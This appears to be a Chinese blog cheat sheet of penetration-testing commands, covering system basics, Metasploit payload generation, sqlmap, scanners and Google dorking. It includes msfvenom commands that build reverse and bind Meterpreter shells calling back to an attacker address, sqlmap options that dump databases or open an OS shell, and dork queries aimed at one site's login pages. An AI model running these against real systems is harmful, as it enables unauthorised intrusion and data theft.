• 网络安全常用命令


    windows

    whoami
    ver
    ipconfig /all    
    netstat -ano   
    tasklist /svc   
    netstat -anpt | findstr 15420   

    taskkill /pid 14396  -t  -f

    linux

    whoami
    uname -a
    ifconfig            
    netstat -ano     
    ps -ef       
    netstat -anpt | grep 15420      

    grep "" /root/1.txt  文件内容搜索
    find  / -name ""     文件名搜索

    kill -9 15420
    kill -9 -15420

    ls -al /root

    mkdir rmdir
    touch rm
    rm -rf

    chmod 777 xx

    tar -zxvf xx.tar.gz
    tar -cvf xx

    cat 1.txt >> 2.txt
    echo "123" > 2.txt
    >>追加  > 覆盖

    python开启 web服务
    python3 -m http.server -d /root/http 8000

    lsof /root/xx
    lsof -p pid

    vim /etc/hosts

    msf

    1. msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe -o shell.exe
    2. msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o shell.exe
    3. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf
    4. msfvenom -p linux/x64/meterpreter/bind_https LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf
    5. msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -o test.apk

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 0.0.0.0
    set lport 6688

    shell
    upload
    download
    background
    sessions
    sessions -i 1

    hostname -I
    检索分配的所有IP地址

    fscan
    fscan -h x.x.x.x/24
    fscan -h x.x.x.x/18 -np  低权限

    谷歌语法

    site:heimian.com intext: 管理 | 后台 | 登陆 | 用户名 | 密码 | 验证码系统 | 帐号 | manage l admin l login l system
    site:heimian.com inurl:login l admin | manage | manager | admin_login | login_admin l system
    site:heimian.com intitle:管理 | 后台 | 登陆 |
    site:heimian.com intext:验证码
    搜集一些基本信息
    在地址后面逐-添加info.php phpinfo.php test.php 找到 php统计配置信息

    工具

    sqlmap

    sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"
    sqlmap -r 1.txt

    --is-dba
    --dbs
    -D xx --tables
    -D xx -T xx --columns
    -D xx -T xx -C xx --dump
    --tamper=unmagicquotes.py   魔术引号
    --file-read "c:/a.txt"
    --file-write "1.txt" --file-dest "c:/123.txt"
    --os-shell

    python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB
    B:Boolean-based blind(布尔型注入)
    E:Error-based(报错型注入)
    U:Union query-based(可联合查询注入)
    S:Stacked queries(可多语句查询注入)
    T:Time-based blind(基于时间延迟注入)
    Q:Inline queries(嵌套查询注入)

    nuclei

    nuclei -l 1.txt -o 2.txt -t 1.yaml
    nuclei -up  # 更新 nuclei
    nuclei -ut  # 更新脚本

    xray

    xray webscan --basic-crawler http://example.com --html-output xxx.html

    docker

    docker compose up -d
    docker compose down

    docker ps
    docker images​​​​​​​
    docker exec -it ddd2455b42ab bash

    docker run
    ​​​​​​​docker rm xxx
    ​​​​​​​docker start xxx
    docker stop xxx​​​​​​​

    oneforall

    python oneforall.py --target baidu.com run
    python oneforall.py --targets ./domains.txt run

    httpx

    httpx -u https://x.x.x.x
    httpx -l 1.txt -o 2.txt

    nmap

    nmap xxxxx -sS -A 

    dirsearch

    python3 dirsearch.py  -u https://x.x.x.x
    python3 dirsearch.py  -l 1.txt -t 15

    Ehole

    Ehole finger -u 104.21.65.37
    Ehole finger -l 1.txt
    Ehole finger -f 104.21.65.37   只支持ip
    Ehole finger -s "baidu.com"      支持fofa所有语法

  • 相关阅读:
    PAM从入门到精通(十五)
    10年软件测试工程师经验,很茫然....
    unity学习(46)——服务器三次注册限制以及数据库化角色信息1--数据流程
    【测试工具】Jmeter常用beanshell
    窝的个人简介
    nodejs+vue+elementui高校新闻管理系统
    Spring Boot Actuator 漏洞复现合集
    E-MapReduce极客挑战赛季军方案
    Mathorcup数学建模竞赛第三届-【妈妈杯】B题:关于三维健康评分模型的研究(附带赛题解析&获奖论文)(一)
    jupyter notebook中使用不同的anaconda环境及常用conda命令
  • 原文地址:https://blog.csdn.net/qq_61475980/article/details/137103684